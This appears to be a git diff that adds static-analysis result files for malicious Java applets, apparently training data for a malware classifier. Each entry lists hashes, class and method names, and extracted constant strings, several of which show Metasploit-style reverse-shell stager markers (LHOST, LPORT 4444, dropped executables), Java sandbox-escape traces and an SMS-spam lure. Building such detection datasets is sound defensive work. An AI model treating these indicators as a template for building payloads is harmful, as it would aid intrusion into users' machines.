+{"characteristics": {"java": {"class_name": "FtU", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "interfaces": ["java/security/PrivilegedExceptionAction"], "major_version": 49, "method_names": ["<init>", "CXNuKpq", "KXPbwKNpAU", "run", "TERNdcCuY", "XqHSS", "SRhXTtk", "EpPEhGAu", "sffb"], "minor_version": 0, "const_pool_count": 213}}, "_id": "51b8b5c2-de50-4d3f-9f08-662bea7aaf16", "verbose": {"java": {"JAVA String Analysis": {"combined strings entropy": 3.827155752852566, "obfuscated_data": {"base64": {"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/": "eged"}}}, "constant strings": ["990000do,,,,Pr,,,,,,,,,,,,ivil", ",", "", "eged", "9,9,1,154678907\\\\\\\\", "397", "30", "90", "9,,000et", "S", "9,,,,,,,s", "000curi", "0ty", "000Ma", "000nage", "8000clo", "se", "="]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "d0b3275042c6508179207b0808ac3589717f1b16", "file_name": "java_malicious/7407049ca54e1c72fe7fdab9b3547dc7090a0188bc1b0b215cf7b01b2f5a284d", "_id": "51b8b5c2-de50-4d3f-9f08-662bea7aaf16", "score": 0, "entropy": 6.016867157756088, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 5212, "ssdeep": "96:jyp1VETAuEdvnBRZYHfX2cqeOfao/tyZTui:e1uaBUecNZP", "sha256": "7407049ca54e1c72fe7fdab9b3547dc7090a0188bc1b0b215cf7b01b2f5a284d", "md5": "231381141ca947e8da7cb545a8b68b17", "parent_sha256": "7407049ca54e1c72fe7fdab9b3547dc7090a0188bc1b0b215cf7b01b2f5a284d"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/742d0bac82cb3926debb23e103ebbfcc68b3cf4348fb177d50f49fc6fe9a9919.results b/java_classification/data/malicious/742d0bac82cb3926debb23e103ebbfcc68b3cf4348fb177d50f49fc6fe9a9919.results
new file mode 100755
index 0000000..a820da6
--- /dev/null
+++ b/java_classification/data/malicious/742d0bac82cb3926debb23e103ebbfcc68b3cf4348fb177d50f49fc6fe9a9919.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "DwuoIV.java", "class_name": "qYgzrtb/DwuoIV", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["<init>", "<clinit>", "iGEIEbK"], "minor_version": 0, "const_pool_count": 337}}, "_id": "b5facfb3-0117-4e94-9251-dad38a91d84e", "metadata": {"mimetype": "application/x-java-applet", "sha1": "ebb261457d76481f4c66eeb9dbb9e1e719d8fb2e", "file_name": "java_malicious/742d0bac82cb3926debb23e103ebbfcc68b3cf4348fb177d50f49fc6fe9a9919", "_id": "b5facfb3-0117-4e94-9251-dad38a91d84e", "score": 0, "entropy": 4.919552686179689, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 4885, "ssdeep": "48:8t15F1PHr7AvmFwf9TyFlmg0AmqS8gU0s0wFQtXoWn1tXYGH1t8yOkB:IFNkmk9+FlmAmaP0wF4YW1tnH8yD", "sha256": "742d0bac82cb3926debb23e103ebbfcc68b3cf4348fb177d50f49fc6fe9a9919", "md5": "df85195ac6c8bfaa165f2df2ff269e4d", "parent_sha256": "742d0bac82cb3926debb23e103ebbfcc68b3cf4348fb177d50f49fc6fe9a9919"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/7444652ddd356d54226c55bc4250a2980dedae5f9245e73422a898faa50050a1.results b/java_classification/data/malicious/7444652ddd356d54226c55bc4250a2980dedae5f9245e73422a898faa50050a1.results
new file mode 100755
index 0000000..47bdec9
--- /dev/null
+++ b/java_classification/data/malicious/7444652ddd356d54226c55bc4250a2980dedae5f9245e73422a898faa50050a1.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"class_name": "lNLcDzcEJN/MpAGour", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["<init>", "main", "writeEmbeddedFile", "bootstrap", "getJreExecutable", "addExtension", "findInDir", "normalize", "dissect", "class$", "<clinit>"], "minor_version": 3, "const_pool_count": 605}}, "_id": "e3edd2bc-532e-439b-8043-cbf505c867a5", "verbose": {"java": {"constant strings": ["lNLcDzcEJN.MpAGour", ".class", "/lNLcDzcEJN.dat", "Executable", "~spawn", ".tmp", ".dir", "DroppedExecutable", "Spawn", "0", "lNLcDzcEJN.dat", "URL", "", "https:", "lNLcDzcEJN/MpAGourTrustManager.class", "MpAGourTrustManager.class", "AESPassword", "lNLcDzcEJN/AESEncryption.class", "AESEncryption.class", "java", "-classpath", "java.io.File", "setExecutable", "chmod", "+x", "LPORT", "4444", "LHOST", "raw:", "ISO-8859-1", "lNLcDzcEJN.MpAGourTrustManager", "useFor", "java.net.URLConnection", "lNLcDzcEJN.AESEncryption", "wrapStreams", "java.io.InputStream", "java.io.OutputStream", "java.lang.String", "MpAGour -- ", "StageParameters", " ", "EmbeddedStage", "/", "file:///", "javapayload.stage.", "start", "java.io.DataInputStream", "[Ljava.lang.String;", "/sh", "/bin", ".exe", ".", "..", "os.name", "path.separator", "aix", ";", "java.home"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "777eceee6cae904d67d774ac07e1de2f0f0ffc9b", "file_name": "java_malicious/7444652ddd356d54226c55bc4250a2980dedae5f9245e73422a898faa50050a1", "_id": "e3edd2bc-532e-439b-8043-cbf505c867a5", "score": 0, "entropy": 6.1489261006515825, "libmagic": "compiled Java class data, version 45.3", "file_size": 9415, "ssdeep": "96:gbaBzgFN1tM+DUB/Y+WfSaThmcuxKIJUNuIpvqPBX15KYvXkr9DmgHzxE03TvDrB:gmO1tGgmatmvyNvpvUrKYvCkgHzbDrDF", "sha256": "7444652ddd356d54226c55bc4250a2980dedae5f9245e73422a898faa50050a1", "md5": "22404aea9c792a256b340aee8082adf3", "parent_sha256": "7444652ddd356d54226c55bc4250a2980dedae5f9245e73422a898faa50050a1"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/75a8cff7f3c8df96f7401513e34f8bcebf1d3732d69d94528841e86bfa259ba9.results b/java_classification/data/malicious/75a8cff7f3c8df96f7401513e34f8bcebf1d3732d69d94528841e86bfa259ba9.results
new file mode 100755
index 0000000..39ce302
--- /dev/null
+++ b/java_classification/data/malicious/75a8cff7f3c8df96f7401513e34f8bcebf1d3732d69d94528841e86bfa259ba9.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "SZALaE.java", "class_name": "SZALaE", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["<init>", "XOZABhRVJ"], "minor_version": 0, "const_pool_count": 66}}, "_id": "e0826466-0662-4bc6-9592-5035c098bd79", "verbose": {"java": {"constant strings": ["(\\x12", "ggg\\x14iti", "e", ",1,*<=,", ""]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "240f01e76731c31d15143a4f63938220eb37b780", "file_name": "java_malicious/75a8cff7f3c8df96f7401513e34f8bcebf1d3732d69d94528841e86bfa259ba9", "_id": "e0826466-0662-4bc6-9592-5035c098bd79", "score": 0, "entropy": 5.879607595011531, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 1593, "ssdeep": "24:RTKGxyQulGlT7dHf7Jy0pC+g/dlluN45v+H93sTl7a9bpbczA:5dxyFlEBHfV/UON4s3sQ2U", "sha256": "75a8cff7f3c8df96f7401513e34f8bcebf1d3732d69d94528841e86bfa259ba9", "md5": "2e33bac27f55ed55d121479e3acfec5e", "parent_sha256": "75a8cff7f3c8df96f7401513e34f8bcebf1d3732d69d94528841e86bfa259ba9"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/75f809ea97b9afbb4286a43429d3bee0299c6511066094c54077323cf4dbccab.results b/java_classification/data/malicious/75f809ea97b9afbb4286a43429d3bee0299c6511066094c54077323cf4dbccab.results
new file mode 100755
index 0000000..a006de1
--- /dev/null
+++ b/java_classification/data/malicious/75f809ea97b9afbb4286a43429d3bee0299c6511066094c54077323cf4dbccab.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "Lishai.java", "class_name": "Lishai", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["<init>", "Nvbus", "Eppa"], "minor_version": 0, "const_pool_count": 172}}, "_id": "f63ad6db-e515-4cff-b7bb-fabfa093abcd", "verbose": {"java": {"JAVA String Analysis": {"combined strings entropy": 4.3729618358607505, "obfuscated_data": {"signatures": {"java": "rot0"}}}, "constant strings": ["java.io.BytWeArWrayOWutputStWreWam", "close", "java.security.Al", "lPermission", "add", "java.security.Permission", "java.security.Code", "Source", "jaDva.seDcuDrity.DPeDrmiDssDionCoDllecDtioDn", "D", "", "java.security.Protect", "ionDomain"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "9526d424416ab420afc93883d65931653bb851ed", "file_name": "java_malicious/75f809ea97b9afbb4286a43429d3bee0299c6511066094c54077323cf4dbccab", "_id": "f63ad6db-e515-4cff-b7bb-fabfa093abcd", "score": 0, "entropy": 5.6449300674990415, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 2706, "ssdeep": "48:RAY88OrQSyFlwIf9c4X5sRJ+/F3d57Pkep1pNVvgkFG2w3JY4UpnTcS+cV:RP8IFlwkTXRFhl4YV", "sha256": "75f809ea97b9afbb4286a43429d3bee0299c6511066094c54077323cf4dbccab", "md5": "5332c17c0fcf6a7554729a2e0dbe03cd", "parent_sha256": "75f809ea97b9afbb4286a43429d3bee0299c6511066094c54077323cf4dbccab"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/7664323f50d75bcc27d1edd31186e343267cf5795347fcfda5d0429672f4e652.results b/java_classification/data/malicious/7664323f50d75bcc27d1edd31186e343267cf5795347fcfda5d0429672f4e652.results
new file mode 100755
index 0000000..49b4c7a
--- /dev/null
+++ b/java_classification/data/malicious/7664323f50d75bcc27d1edd31186e343267cf5795347fcfda5d0429672f4e652.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"class_name": "a/tkggqyguydz", "access_permissions": ["ACC_SUPER"], "major_version": 49, "method_names": ["npgfregpcmrwynx", "gvjpqixsljajqkuc", "jymrarubtmnvdkfged", "<init>", "gixjfirtwidjvfle", "dwdeytakugzkrdkikw", "hammudettpbhrckron", "sjdzneadzukrdpqahtm", "ujynqxyggavfdyhxir", "ssjjvtucsuuighj", "pektnvupcfyctiii", "wlpanqakvjyudblnip", "agtkinzivjvmtxnzpnk", "duiujpnrtdrcupvmujx", "rqkhbynadh", "upfmbwvkxlrvmif", "biiyhsrqtxuwlmejsd", "vrwnuwqxbbkuhocp", "tklbzotvapxoszs", "zbnkqfvmroubpsw", "himrdoszsjweikaufkw", "odohxpnexfoxqmiux", "brcgxtrthmvdmqct", "elahklrmwcqhpst", "sbmlztezyoyowisgvgr", "ydddbhhdd", "bziobbttywfknlc", "hkajohuajcdkrayodv", "msqgyomnnqibegvi", "qbmjwtxtaurzfema", "qfpdywclxvuzhxsnc", "eznjzdlcrlidcslsr", "fhlazwwjtmmaquwuvpe", "llogpyzefchwiuryx", "dyllznmlkavqfbdugi", "zckufxrvsiggzldmpu", "rxnmhgiwmtochodjnzc", "fpyrwojmpovjasbkfz", "vclzkofuzbsvvjn", "mgtiwncbvefrzxrgtc", "xntokotiusrxzopllvt", "kcrkqklzxfgjjpkoxly", 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diff --git a/java_classification/data/malicious/76721e44d06640b1cebd2edd331da53a4c7790b15dae798153d5a382f9a4e384.results b/java_classification/data/malicious/76721e44d06640b1cebd2edd331da53a4c7790b15dae798153d5a382f9a4e384.results
new file mode 100755
index 0000000..9219f6c
--- /dev/null
+++ b/java_classification/data/malicious/76721e44d06640b1cebd2edd331da53a4c7790b15dae798153d5a382f9a4e384.results
@@ -0,0 +1 @@
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diff --git a/java_classification/data/malicious/7692a255afdc4ef53c3d172b6995172dabb5c4c1c40e00bbe5d455c285afcf93.results b/java_classification/data/malicious/7692a255afdc4ef53c3d172b6995172dabb5c4c1c40e00bbe5d455c285afcf93.results
new file mode 100755
index 0000000..6e8913f
--- /dev/null
+++ b/java_classification/data/malicious/7692a255afdc4ef53c3d172b6995172dabb5c4c1c40e00bbe5d455c285afcf93.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"class_name": "MyJApplet", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["<init>", "init", "a", "b", "a", "a", "a", "a", "a", "a", "a", "a", "b"], "minor_version": 0, "const_pool_count": 573}}, "_id": "9e37fb6a-55ed-40a2-ae87-a84ee83fc9de", "verbose": {"java": {"constant strings": ["", "\\n", "\\n\\t", "\\nCaused by: ", "/Applications/Calculator.app/Contents/MacOS/Calculator", "5.1", "64", "=====  End  =====", "===== Start =====", "Arial", "Attempt #", "Error: ", "Mac", "Na", "Nimbus", "Run calculator", "URL: ", "UTF-8", "Windows Vista or higher", "Windows XP", "\\\\AppData\\\\Local\\\\Temp\\\\javainst.exe", "\\\\Local Settings\\\\Temp\\\\javainst.exe", "] = 0x", "a.length = 0x", "a[", "add", "calc.exe", "error 1", "f", "java.security.AllPermission", "java.security.Permission", "java.security.Permissions", "me", "null", "or", "os.arch", "os.name", "os.version", "setSecurityManager", "user.home"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "32e38d00b355857f96860d7e602c91df3242a50f", "file_name": "java_malicious/7692a255afdc4ef53c3d172b6995172dabb5c4c1c40e00bbe5d455c285afcf93", "_id": "9e37fb6a-55ed-40a2-ae87-a84ee83fc9de", "score": 0, "entropy": 6.036237674655205, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 9914, "ssdeep": "192:HNcbWAumZaCKvZg5+m8/riVxbOnRH3nWcE+kXxJr:Hm5gX2Em4ryY3nWTvJr", "sha256": "7692a255afdc4ef53c3d172b6995172dabb5c4c1c40e00bbe5d455c285afcf93", "md5": "ef226467dd132b1f5dca5eb6eabd1366", "parent_sha256": "7692a255afdc4ef53c3d172b6995172dabb5c4c1c40e00bbe5d455c285afcf93"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/7775c20d3c14edd5b9999cca9de418ce959045e7aa46096116604a1885c8201c.results b/java_classification/data/malicious/7775c20d3c14edd5b9999cca9de418ce959045e7aa46096116604a1885c8201c.results
new file mode 100755
index 0000000..d90cfa7
--- /dev/null
+++ b/java_classification/data/malicious/7775c20d3c14edd5b9999cca9de418ce959045e7aa46096116604a1885c8201c.results
@@ -0,0 +1 @@
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\ No newline at end of file
diff --git a/java_classification/data/malicious/77d0059b9192806de03cc266122f8e5f428ada5b3e9d16bdc807b2423da1425e.results b/java_classification/data/malicious/77d0059b9192806de03cc266122f8e5f428ada5b3e9d16bdc807b2423da1425e.results
new file mode 100755
index 0000000..22c6ed5
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@@ -0,0 +1 @@
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diff --git a/java_classification/data/malicious/77e985565711379ac8c4dd7daf88b443b98374946f151b1827e1b8cfb5e3ea7e.results b/java_classification/data/malicious/77e985565711379ac8c4dd7daf88b443b98374946f151b1827e1b8cfb5e3ea7e.results
new file mode 100755
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+++ b/java_classification/data/malicious/77e985565711379ac8c4dd7daf88b443b98374946f151b1827e1b8cfb5e3ea7e.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"class_name": "a/copyzr", "access_permissions": ["ACC_SUPER"], "major_version": 49, "method_names": ["<init>", "urgqpfs", "<clinit>"], "minor_version": 0, "const_pool_count": 446}}, "_id": "40fd9f44-5d43-47ae-9430-86be1016c98f", "metadata": {"mimetype": "application/x-java-applet", "sha1": "6dd5e5c79dd327e75b35ce4afa90f5737f6342de", "file_name": "java_malicious/77e985565711379ac8c4dd7daf88b443b98374946f151b1827e1b8cfb5e3ea7e", "_id": "40fd9f44-5d43-47ae-9430-86be1016c98f", "score": 0, "entropy": 5.195910264903805, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 6900, "ssdeep": "96:KMHfeMnzVor/08HaE/DTxcoo8p132Yxhni/mmNxlo55ooDy4IYwa5oYp55IX1:TmCor/FnnWop5xhi/To55UTYwa5hGX1", "sha256": "77e985565711379ac8c4dd7daf88b443b98374946f151b1827e1b8cfb5e3ea7e", "md5": "889774853107e15fed9e8df6b57bcfab", "parent_sha256": "77e985565711379ac8c4dd7daf88b443b98374946f151b1827e1b8cfb5e3ea7e"}}
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diff --git a/java_classification/data/malicious/78011ff87fc3f1502eb0d372fd4574ac7e9db40abca125ac1b5f9ae428102f84.results b/java_classification/data/malicious/78011ff87fc3f1502eb0d372fd4574ac7e9db40abca125ac1b5f9ae428102f84.results
new file mode 100755
index 0000000..c2770ba
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+++ b/java_classification/data/malicious/78011ff87fc3f1502eb0d372fd4574ac7e9db40abca125ac1b5f9ae428102f84.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"class_name": "j", "access_permissions": ["ACC_PUBLIC", "ACC_FINAL", "ACC_SUPER"], "interfaces": ["java/lang/Runnable", "javax/microedition/lcdui/CommandListener"], "major_version": 46, "method_names": ["<init>", "commandAction", "run"], "minor_version": 0, "const_pool_count": 204}}, "_id": "03c91233-2723-49cc-9779-27a73135dbd1", "verbose": {"java": {"JAVA String Analysis": {"combined strings entropy": 4.637771759304837, "obfuscated_data": {"base64": {"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/": "text"}}}, "constant strings": ["", "/?", "1", "Skachaj besplatno sbornik prikol\\'nyh sms-soobshchenij: http://jabox.ru/jbox", "sms://", "text", "\\xd0\\x98\\xd0\\xbd\\xd1\\x84\\xd0\\xbe\\xd1\\x80\\xd0\\xbc\\xd0\\xb0\\xd1\\x86\\xd0\\xb8\\xd1\\x8f", "\\xd0\\x9d\\xd0\\xb0\\xd0\\xb7\\xd0\\xb0\\xd0\\xb4", "\\xd0\\x9d\\xd0\\xb5 \\xd0\\xb2\\xd0\\xb2\\xd0\\xb5\\xd0\\xb4\\xd0\\xb5\\xd0\\xbd \\xd0\\xbd\\xd0\\xbe\\xd0\\xbc\\xd0\\xb5\\xd1\\x80 \\xd0\\xb4\\xd1\\x80\\xd1\\x83\\xd0\\xb3\\xd0\\xb0. \\n", "\\xd0\\x9d\\xd0\\xb5\\xd0\\xbf\\xd1\\x80\\xd0\\xb0\\xd0\\xb2\\xd0\\xb8\\xd0\\xbb\\xd1\\x8c\\xd0\\xbd\\xd0\\xbe \\xd0\\xb2\\xd0\\xb2\\xd0\\xb5\\xd0\\xb4\\xd0\\xb5\\xd0\\xbd \\xd0\\xbd\\xd0\\xbe\\xd0\\xbc\\xd0\\xb5\\xd1\\x80 \\xd0\\xb4\\xd1\\x80\\xd1\\x83\\xd0\\xb3\\xd0\\xb0. \\n", "\\xd0\\x9d\\xd0\\xbe\\xd0\\xbc\\xd0\\xb5\\xd1\\x80 \\xd0\\xb4\\xd1\\x80\\xd1\\x83\\xd0\\xb3\\xd0\\xb0: ", "\\xd0\\x9e\\xd1\\x82\\xd0\\xbf\\xd1\\x80\\xd0\\xb0\\xd0\\xb2\\xd0\\xb8\\xd1\\x82\\xd1\\x8c", "\\xd0\\x9e\\xd1\\x88\\xd0\\xb8\\xd0\\xb1\\xd0\\xba\\xd0\\xb0", "\\xd0\\x9f\\xd0\\xbe\\xd1\\x81\\xd0\\xbe\\xd0\\xb2\\xd0\\xb5\\xd1\\x82\\xd0\\xbe\\xd0\\xb2\\xd0\\xb0\\xd1\\x82\\xd1\\x8c \\xd0\\xb4\\xd1\\x80\\xd1\\x83\\xd0\\xb3\\xd1\\x83", "\\xd0\\xa1\\xd0\\xbe\\xd0\\xbe\\xd0\\xb1\\xd1\\x89\\xd0\\xb5\\xd0\\xbd\\xd0\\xb8\\xd0\\xb5 \\xd0\\xbd\\xd0\\xb5 \\xd0\\xbe\\xd1\\x82\\xd0\\xbf\\xd1\\x80\\xd0\\xb0\\xd0\\xb2\\xd0\\xbb\\xd0\\xb5\\xd0\\xbd\\xd0\\xbe.", "\\xd0\\xa1\\xd0\\xbe\\xd0\\xbe\\xd0\\xb1\\xd1\\x89\\xd0\\xb5\\xd0\\xbd\\xd0\\xb8\\xd0\\xb5 \\xd0\\xbe\\xd1\\x82\\xd0\\xbf\\xd1\\x80\\xd0\\xb0\\xd0\\xb2\\xd0\\xbb\\xd0\\xb5\\xd0\\xbd\\xd0\\xbe."]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "d66296daf681ec8f18188dd517ed0bfdf3df1740", "file_name": "java_malicious/78011ff87fc3f1502eb0d372fd4574ac7e9db40abca125ac1b5f9ae428102f84", "_id": "03c91233-2723-49cc-9779-27a73135dbd1", "score": 0, "entropy": 5.931964024537238, "libmagic": "compiled Java class data, version 46.0 (Java 1.2)", "file_size": 3672, "ssdeep": "48:9r6uLm6RR/JIfKkIgRvBAqT34PTWsTnbNhQhuf2RPKOGTLE/QVaVGcXa6Yc:0Cm6iKgQH2Re8/oaYcK1c", "sha256": "78011ff87fc3f1502eb0d372fd4574ac7e9db40abca125ac1b5f9ae428102f84", "md5": "74ee7a8b12d4305b9f6a5abc074f18e7", "parent_sha256": "78011ff87fc3f1502eb0d372fd4574ac7e9db40abca125ac1b5f9ae428102f84"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/78ac4bc80430482d4ca9f8d0d3dc0582dd8e3ec43b621e48b4f8977696de5fee.results b/java_classification/data/malicious/78ac4bc80430482d4ca9f8d0d3dc0582dd8e3ec43b621e48b4f8977696de5fee.results
new file mode 100755
index 0000000..f77f318
--- /dev/null
+++ b/java_classification/data/malicious/78ac4bc80430482d4ca9f8d0d3dc0582dd8e3ec43b621e48b4f8977696de5fee.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "VdCiJkJ.java", "class_name": "CQAfR/VdCiJkJ", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["<init>", "YdZTJr", "JdMlGD"], "minor_version": 0, "const_pool_count": 130}}, "_id": "a1499a58-37ee-4e31-8c00-8a5b7b3f8d23", "verbose": {"java": {"signatures": ["(Ljava/lang/Class<*>;)V"], "constant strings": ["newInstance", "$/8/`=+-;<\\':7`\\x0f\"\"\\x1e+<#\\'==\\'! ", "$/8/`=+-;<\\':7`\\x1e+<#\\'==\\'! =", "/**", "$/8/`=+-;<\\':7`\\x1e+<#\\'==\\'! ", "$/8/`=+-;<\\':7`-+<:`\\r+<:\\'(\\'-/:+", "$/8/` +:`\\x1b\\x1c\\x02", "$/8/`=+-;<\\':7`\\r!*+\\x1d!;<-+", "$/8/`=+-;<\\':7`\\x1e<!:+-:\\'! \\n!#/\\' ", "$/8/`=+-;<\\':7`\\x1e+<#\\'==\\'! \\r!\"\"+-:\\'! ", "\\x02\\x01\\x06\\x1e\\x1d", ";<\"", "/>>\"+:\\x11-\"/=="], "JAVA String Analysis": {"combined strings entropy": 4.541721833179023}}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "8438fd4f34c5b89f2acbe1f5f483b46b863521ec", "file_name": "java_malicious/78ac4bc80430482d4ca9f8d0d3dc0582dd8e3ec43b621e48b4f8977696de5fee", "_id": "a1499a58-37ee-4e31-8c00-8a5b7b3f8d23", "score": 0, "entropy": 3.2224809863973345, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 19976, "ssdeep": "192:lCifZpPjkt65f2WyqW4OMpyspyJ6vUvGvsv1vmvMu2vHOvMvhEvyvCvvvav5vPvO:Ye3NkmAC41iRSqYSmWXOx3RK75CExZ", "sha256": "78ac4bc80430482d4ca9f8d0d3dc0582dd8e3ec43b621e48b4f8977696de5fee", "md5": "35f20d4162921aae6ca2c7640fc1b0ac", "parent_sha256": "78ac4bc80430482d4ca9f8d0d3dc0582dd8e3ec43b621e48b4f8977696de5fee"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/78e36e8aa7bedec595efdfea1ff370974352bf6e898b913233951670cd817b4a.results b/java_classification/data/malicious/78e36e8aa7bedec595efdfea1ff370974352bf6e898b913233951670cd817b4a.results
new file mode 100755
index 0000000..bc99d95
--- /dev/null
+++ b/java_classification/data/malicious/78e36e8aa7bedec595efdfea1ff370974352bf6e898b913233951670cd817b4a.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"class_name": "a/izqdxbqhbqkkj", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["<init>", "paint", "init"], "minor_version": 0, "const_pool_count": 111}}, "_id": "e60d4176-0218-4aa9-bcb4-d5b073cbfa93", "verbose": {"java": {"constant strings": ["Loading", "theUnsafe"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "e3f2defc76b7c5d86508af0b6ac389ca68450f1c", "file_name": "java_malicious/78e36e8aa7bedec595efdfea1ff370974352bf6e898b913233951670cd817b4a", "_id": "e60d4176-0218-4aa9-bcb4-d5b073cbfa93", "score": 0, "entropy": 5.61117637153155, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 1608, "ssdeep": "24:Yn/rmlMyQZdBle5rY5LYT3L+gpfHfsZt76attowe98lsvwNYGR2YqerJ90qE:W/rSMya5LYT3LfZHfutU38LNYGR1192", "sha256": "78e36e8aa7bedec595efdfea1ff370974352bf6e898b913233951670cd817b4a", "md5": "32ff10d321a1d20635a803272d220d91", "parent_sha256": "78e36e8aa7bedec595efdfea1ff370974352bf6e898b913233951670cd817b4a"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/78fc24093e30e23f7e73cfd7bffb7997a75912b65f9c9f2abe7ed13389162422.results b/java_classification/data/malicious/78fc24093e30e23f7e73cfd7bffb7997a75912b65f9c9f2abe7ed13389162422.results
new file mode 100755
index 0000000..9d01ae3
--- /dev/null
+++ b/java_classification/data/malicious/78fc24093e30e23f7e73cfd7bffb7997a75912b65f9c9f2abe7ed13389162422.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"class_name": "iJhyjeoXti/Payload", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["<init>", "main", "writeEmbeddedFile", "bootstrap", "getJreExecutable", "addExtension", "findInDir", "normalize", "dissect", "class$", "<clinit>"], "minor_version": 3, "const_pool_count": 605}}, "_id": "50c552ec-2dde-409f-9d6c-12c435f2f7b3", "verbose": {"java": {"constant strings": ["iJhyjeoXti.Payload", ".class", "/iJhyjeoXti.dat", "Executable", "~spawn", ".tmp", ".dir", "DroppedExecutable", "Spawn", "0", "iJhyjeoXti.dat", "URL", "", "https:", "iJhyjeoXti/PayloadTrustManager.class", "PayloadTrustManager.class", "AESPassword", "iJhyjeoXti/AESEncryption.class", "AESEncryption.class", "java", "-classpath", "java.io.File", "setExecutable", "chmod", "+x", "LPORT", "4444", "LHOST", "raw:", "ISO-8859-1", "iJhyjeoXti.PayloadTrustManager", "useFor", "java.net.URLConnection", "iJhyjeoXti.AESEncryption", "wrapStreams", "java.io.InputStream", "java.io.OutputStream", "java.lang.String", "Payload -- ", "StageParameters", " ", "EmbeddedStage", "/", "file:///", "javapayload.stage.", "start", "java.io.DataInputStream", "[Ljava.lang.String;", "/sh", "/bin", ".exe", ".", "..", "os.name", "path.separator", "aix", ";", "java.home"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "d2e358f1bb681343743b78dd661cfc17cb19e039", "file_name": "java_malicious/78fc24093e30e23f7e73cfd7bffb7997a75912b65f9c9f2abe7ed13389162422", "_id": "50c552ec-2dde-409f-9d6c-12c435f2f7b3", "score": 0, "entropy": 6.1330720739214355, "libmagic": "compiled Java class data, version 45.3", "file_size": 9415, "ssdeep": "96:gbaBzgFN1tMtDUBT+WnVThmI7xKIJUNuIpvqPBX15KYvXkr9DmgHzxE03TvDrD7x:gmO1tLThtmuyNvpvUrKYvCkgHzbDrDF", "sha256": "78fc24093e30e23f7e73cfd7bffb7997a75912b65f9c9f2abe7ed13389162422", "md5": "140bb345fb93654436bffb79882ce8ff", "parent_sha256": "78fc24093e30e23f7e73cfd7bffb7997a75912b65f9c9f2abe7ed13389162422"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/79100d5b5f5daa691e498ea2a3da59bef3fa6bb019fa09413950dbcb7bed34bf.results b/java_classification/data/malicious/79100d5b5f5daa691e498ea2a3da59bef3fa6bb019fa09413950dbcb7bed34bf.results
new file mode 100755
index 0000000..5ec32b8
--- /dev/null
+++ b/java_classification/data/malicious/79100d5b5f5daa691e498ea2a3da59bef3fa6bb019fa09413950dbcb7bed34bf.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "tDnrbPEQp.java", "class_name": "tDnrbPEQp", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["<init>", "<clinit>", "xULuuDZkf", "cgdQvXtLl"], "minor_version": 0, "const_pool_count": 183}}, "_id": "e9a3e6ab-1512-4d7d-a188-a35f7d20699e", "verbose": {"java": {"constant strings": [":,=\\x1a,*<; =0\\x04(\\'(.,;", "#(?(g(>=g $(.,g\\r(=(\\x0b<//,;\\x0b0=,", "=;=;", "?.=<-:(", ":,=\\x0c%,$", " \\'= \\'=", "#(?(g(>=g $(.,g\\r(=(\\x0b<//,;", "\\x1d\\x10\\x19\\x0c\\x16\\x0b\\x10\\x1d\\x0c", "#(?(g(>=g $(.,g\\x04<%= \\x19 1,%\\x19(*\",-\\x1a($9%,\\x04&-,%", "#(?(g(>=g $(.,g\\x1b(:=,;", "*;,(=,\\x1e; =(+%,\\x1b(:=,;", "#(?(g(>=g $(.,g\\x1a($9%,\\x04&-,%#(?(g(>=g $(.,g\\r(=(\\x0b<//,;#(?(g(>=g\\x19& \\'=", "#(?(g(>=g 